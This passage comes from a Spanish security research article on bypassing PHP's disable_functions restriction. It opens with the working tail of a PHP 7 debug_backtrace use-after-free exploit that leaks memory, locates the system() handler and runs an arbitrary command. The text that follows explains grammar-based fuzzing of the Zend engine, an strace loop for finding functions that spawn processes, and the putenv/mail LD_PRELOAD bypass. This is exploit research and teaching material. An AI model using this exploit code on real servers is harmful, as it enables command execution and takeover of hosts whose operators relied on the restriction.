            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for ($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if ($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if ($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if (!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for ($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if ($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if ($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for ($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if ($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if ($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while ($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if (strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if (!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if (!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if (!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if (!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for ($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

Buscando nuevos rivales: fuzzing y gramática

Las secciones anteriores se han centrado en el funcionamiento interno de PHP y en explicar algunas facetas sobre cómo explotar una vulnerabilidad para lograr subvertir los efectos de la directiva disable_functions. En este apartado nos centraremos en abordar algunas cuestiones relacionadas con el fuzzing y la búsqueda de vulnerabilidades en el motor Zend.

Antes de entrar en materia es interesante tener en cuenta que en el bug tracker de PHP[14] hay gran cantidad de crashes, y otros fallos reportados, que pueden ser explotables pero que pasan desapercibidos. Éste es el caso de, por ejemplo, la vulnerabilidad que se ha explotado en la sección anterior: el problema llevaba reportado desde hacía alrededor de 2 años. En general estas situaciones ocurren por varios motivos:

  • Quien abre el ticket en el bug tracker no aporta suficiente información, y/o el código que adjunta es demasiado extenso o escaso, dificultando la identificación de la causa raíz o incluso la reproducibilidad del crash.
  • El problema es considerado como un bug sin mayor transcendencia, puesto que no es considerado como una problema de seguridad y su arreglo es pospuesto. Esto es debido a que el criterio bajo el cual PHP clasifica los bugs[15], este tipo de problemas donde se utiliza código arbitrario controlado por el propio usuario no es considerado como un problema de seguridad. En la práctica esto se traduce prácticamente en: si la vulnerabilidad es de tipo local, reportalo como un bug normal.
  • La causa raíz del bug es dificil de solventar y los parches propuestos no arreglan completamente el problema.

Por ello es muy interesante revisar el Bug Tracker en busca de vulnerabilidades ocultas a plena vista. Por otra parte, comprobar qué componentes del motor son más propensos a problemas permite focalizar el esfuerzo ahí, además de que a través del fuzzing es común re-descubrir crashes que otras personas han identificado previamente y han reportado.

De cara a la búsqueda de vulnerabilidades en PHP haciendo fuzzing existen múltiples aproximaciones, tanto en el dónde se pone el foco como a la táctica a seguir. Respecto al foco, es poco probable que aparezcan vulnerabilidades en el parser del propio lenguaje, por lo que no merece la pena gastar energías en él. Históricamente, por su diseño, la deserialización (unserialize()) en PHP es bastante problemática y fallos de seguridad siempre van a aparecer, además de la ventaja añadida de que su explotación puede conducir a un RCE (aunque actualmente esté desaconsejado el uso de unserialize(), existen numerosos CMS y plataformas que hacen uso de esta función sobre datos serializados sobre los que el usuario puede realizar modificaciones -como en las cookies-). Existen varios artículos que cubren los aspectos básicos sobre fuzzing de esta función[16][17], y sobre su explotación[18].

Nuestro objetivo es la identificación de vulnerabilidades que puedan permitir realizar una evasión de disable_functions, por lo que cualquier flujo de código que nos permita obtener primitivas de lectura y escritura arbitrarias de memoria es suficiente. En este contexto, y después de contrastarlo con la experiencia, es preferible seguir un enfoque más centrado en encontrar crashes «superficiales» o de poco calado, que centrar el esfuerzo en un componente concreto (streams, pack/unpack, DOM/XML, etc.); o en otras palabras: realizando el mínimo esfuerzo, maximizar los resultados. Con este fin vamos a seguir una estrategia de fuzzing generando porciones de código PHP «gramaticalmente» válidas[19] (es decir, al ser ejecutadas no devolverán un error de sintaxis) y sin tener en cuenta feedback ninguno para la generación de nuevos casos de prueba. Existen otras estrategias a poder seguir, como por ejemplo realizar mutaciones simples a nivel de AST haciendo uso de proyectos como PHP-AST[20]), o incluso ir más lejos y extender las capacidades de AFL para que realice este tipo de mutaciones como hace el proyecto Superion[21].

En este caso para la generación de los casos de prueba se hará uso de Domato[22]. Recientemente una versión modificada, y orientada a PHP, fue publicada bajo el nombre de domatophp[23]. Lo más interesante de esta versión modificada es que incluye diccionarios con las reglas y definiciones de funciones que permiten ahorrarnos bastante tiempo. No obstante, es posible incrementar considerablemente la cantidad de crashes únicos identificados realizando algunas mejoras. Por ejemplo, las definiciones de los parámetros de las funciones han sido extraídos parseando la documentación de PHP.NET, siendo esta fuente de información a veces no exacta del todo (por ejemplo, definición de «string» de algún parámetro que en realidad requiere de un path, o la existencia de parámetros ocultos no documentados[24], etc.).

Para complementar las definiciones de funciones que trae domatophp se siguen dos estrategias: por un lado se extraen los parámetros reales directamente del código fuente (parseando las macros) y por otra se analizan los mensajes de error. Este proceso se realiza utilizando un sencillo script para GDB[25].

Extracting parameters
Extracción de parámetros

Por otra parte domato permite asignar probabilidades a las reglas que aplica en la generación de código, lo que resulta de interés para determinados parámetros a fuzzear. Por ejemplo, en el caso de funciones que utilicen rutas de ficheros o directorios no es muy interesante utilizar siempre una cadena de texto aleatoria. Lo normal es que estas funciones comprueben en primera instancia si se trata de una ruta válida, y posteriormente las características (si se trata de un fichero o un directorio, si se tienen permisos de escritura/lectura o no), por lo que jugando con diferentes parámetros (una ruta a un archivo con permisos sólo de lectura, otra con permisos de escritura, directorios, etc.) es posible alcanzar diferentes estados.

<pathfuzz p=0.1> = <stringfuzz>
<pathfuzz p=0.4> = <pathrwfuzz>
<pathfuzz p=0.4> = <pathrofuzz>
<pathfuzz p=0.1> = <pathdirfuzz>

Otras mejoras es el uso de str_shuffle() para lidiar con optimizaciones de caché, llamadas regulares a var_dump(), incremento del número de parámetros cuando son variádicos, etc. En cuanto a la forma de ejecutar los casos de prueba, se ha creado un pequeño código en C que hace uso de posix_spawn en paralelo para iniciar los procesos con vfork()[26]. De esta forma se consigue una velocidad «aceptable» de ejecuciones por segundo.

Los casos de prueba que han generado crashes son minimizados y homogeneizados con un pequeño script en python, de tal forma que se parte de un script PHP de cientos de líneas con este aspecto:

...
try { try { simplexml_load_file(str_repeat(chr(160), 65) + str_repeat(chr(243), 257) + str_repeat(chr(211), 65537), str_repeat(chr(47), 65537) + str_repeat(chr(188), 65537), 0, implode(array_map(function($c) {return "\\x" . str_pad(dechex($c), 2, "0");}, range(0, 255))), true); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplObjectStorage"]->offsetGet($vars[array_rand($vars)]); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["ReflectionProperty"]->getName(); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplDoublyLinkedList"]->shift(); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplFixedArray"]->setSize(1073741823); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplFixedArray"]->count(); } catch (Exception $e) { } } catch(Error $e) { }
try { try { mb_http_input(str_repeat("A", 0x100)); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["ReflectionProperty"]->setValue(-2147483648); } catch (Exception $e) { } } catch(Error $e) { }
try { try { str_split(implode(array_map(function($c) {return "\\x" . str_pad(dechex($c), 2, "0");}, range(0, 255))), 0); } catch (Exception $e) { } } catch(Error $e) { }
try { try { ctype_upper(str_repeat(chr(149), 257) + str_repeat(chr(208), 17)); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplFixedArray"]->rewind(); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["ReflectionProperty"]->isDefault(); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["DOMDocument"]->createComment(str_repeat("A", 0x100)); } catch (Exception $e) { } } catch(Error $e) { }
try { try { strip_tags(str_repeat(chr(162), 4097) + str_repeat(chr(12), 257), str_repeat(chr(47), 1025)); } catch (Exception $e) { } } catch(Error $e) { }
try { try { strrpos(str_repeat("A", 0x100), 2.2250738585072011e-308, -1); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["ReflectionProperty"]->isProtected(); } catch (Exception $e) { } } catch(Error $e) { }
try { try { ctype_alnum("/etc/passwd"); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["DOMElement"]->setAttributeNodeNS(new DOMAttr("attr")); } catch (Exception $e) { } } catch(Error $e) { }
try { try { stream_wrapper_unregister(str_repeat(chr(49), 4097)); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["ReflectionClass"]->hasMethod(str_repeat(chr(230), 4097)); } catch (Exception $e) { } } catch(Error $e) { }
...

Hasta este otro, mucho más sencillo de entender y debuggear posteriormente:

<?php
$aaa = new SimpleXMLElement("<a>a</a>");
$aaaa->xpath(str_repeat(chr(40), 65537));
?>
//This is a real crash found in the first 10 minutes

Esta reducción del tamaño de los casos de prueba, junto con su simplificación, permiten una primera clasificación y separación en cuanto al componente afectado, así como comparar crashes entre sí para descartar duplicados (se utilizan también trazas de la ejecución, como la pila de llamadas o la instrucción que causó el segfault, el output de ASAN, etc.).

Con todas las partes, el esquema general de funcionamiento es el siguiente:

Fuzzgazi
Esquema

Por último, sólo faltaría analizar los crashes y comprobar cuales son causados por vulnerabilidades reales y no por un simple bug.

Combatiendo en otras ligas: alternativas para evadir disable_functions

Además de a través de vulnerabilidades que permitan la manipulación arbitraria de la memoria, existen otros casos donde es posible ejecutar comandos del sistema pese a las restricciones impuestas por disable_functions. Tal y como se ha visto durante las secciones anteriores, esta directiva únicamente funciona cambiando los handlers de las funciones deshabiliatadas. Es posible que entre las funciones habilitadas se identifiquen vulnerabilidades clásicas, como la inyección de comandos, que permitan ser explotadas para ejecutar comandos arbitrarios. Recientemente, por ejemplo, ocurrió con la función imap_open()[27]. Otro caso es cuando la función putenv() se encuentra habilitada en conjunción con cualquier función que por debajo inicie un proceso externo (por ejemplo mail() que por defecto ejecuta el binario de sendmail), siendo ésta la táctica seguida por nuestra herramienta Chankro[28] para ejecutar binarios arbitrarios valiéndose de LD_PRELOAD[29].

En ambos casos encontramos un patrón común en el que internamente PHP acaba llamando a syscalls como execve para iniciar el nuevo proceso. Utilizando las reglas gramaticales de domatophp, en conjunción con nuestras mejoras a partir de los scripts de GDB, es posible crear casos de prueba para cada función registrada en el motor Zend y comprobar si en algún punto se llama a execve u otra syscall interesante.

while read p; do
        cat template.php > alchi/topo.php
        echo "$p" >> alchi/topo.php
        echo "$p" >> log.txt
        strace -f  php -r 'eval(file_get_contents("php://stdin"));' < alchi/topo.php 2>&1 | grep exe | grep sh >> log.txt
        rm alchi/topo.php
done < funcs.txt

En el caso de una compilación mínima, sin extensiones de ningún tipo, sólo aparece mail() como un candidato:

Checking syscalls
Comprobando syscalls

Es interesante comprobar todas las funciones en cada nueva versión de PHP, así como instalar las extensiones que por defecto diferentes distros utilizan, con el objetivo de poder detectar nuevas vías de explotación.

Conclusiones

En este artículo se ha abordado en profundidad cómo funciona disable_functions así como ejemplificar la explotación de vulnerabilidades en PHP para realizar su evasión. De igual forma se ha explicado una metodología para la identificación de nuevas vulnerabilidades. Tanto el proceso de fuzzing, como el de búsqueda de alternativas a mail() + putenv(), debe ser ejecutando continuamente en el tiempo y refrescando el objetivo con cada nueva versión de PHP. Así mismo, es interesante utilizar diferentes opciones de compilación (con especial énfasis a las extensiones) en base a las distribuciones más comunes.

Referencias

[1] base64_decode source code
[2] basic_functions source code
[3] Procfs bypass by beched
[4] escapeshellcmd at basic_functions
[5] PHP 7.0 < 7.4.3 debug_backtrace() UAF exploit by mm0r1
[6] Bug: Use-after-free when accessing already destructed backtrace arguments
[7] Debugging memory (PHP Internals Book)
[8] Strings management: zend_string (PHP Internals Book)
[9] C Struct Hack
[10] Basic structure (PHP Internals Book)
[11] zend_closure source code
[12] std_object_handlers source code
[13] zend_internal_function source code
[14] PHP Bug Tracker
[15] PHP clasification of NOT security issues
[16] Fuzzing PHP’s unserialize function
[17] Fuzzing PHP for Fun and Profit
[18] Exploiting PHP-7 unserialize
[19] Fuzzing with Grammar (The Fuzzing Book)
[20] PHP-AST on GitHub)
[21] Superion: Grammar-Aware Greybox Fuzzing
[22] Domato: A DOM fuzzer
[23] DomatoPHP
[24] Hunting for hidden parameters within PHP built-in functions (using frida)
[25] Stupid PHP GDB Helper
[26] Faster fuzzing with Python
[27] imap_open() command injection – CVE-2018-19518
[28] Chankro: tool to bypass disable_functions and open_basedir
[29] How to bypass disable_functions and open_basedir